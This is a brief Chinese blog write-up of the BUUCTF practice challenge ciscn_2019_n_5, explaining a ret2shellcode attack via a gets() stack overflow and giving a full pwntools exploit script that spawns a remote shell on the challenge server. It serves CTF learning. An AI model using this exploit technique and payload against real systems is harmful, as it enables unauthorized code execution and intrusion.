ciscn_2019_n_5来自BUUCTF

这是一道ret2shellcode的题目不难。还是想记录一下:

这次我的先查看一下程序的保护机制:

ciscn_2019_n_5来自BUUCTF

 

 重点是 RWX: HasRWX segments 有这个基本就是ret2shellcode。因为程序中存在 可读可写可执行的片段这很危险的;

接着看一下IDA中的伪代码

ciscn_2019_n_5来自BUUCTF

 

 程序中有两处输入,name这一个全局变量 在bss段。我们可以往name中写入 shellcode。下面还有一个gets函数,接着我们可以通过栈溢出劫持程序让程序执行name中的shellcode。

from pwn import*
context(arch=‘amd64‘,os=‘linux‘)
r=remote(‘node4.buuoj.cn‘,27513)
shellcode=asm(shellcraft.sh())
r.sendlineafter("tell me your name",shellcode)
payload=‘a‘*0x28+p64(0x601080)
r.sendlineafter("What do you want to say to me?",payload)
r.interactive()

ciscn_2019_n_5来自BUUCTF

上一篇:echars 折线图之一条线显示不同颜色,及拐点显示不同颜色


下一篇:Dockerfile 多阶段构建实践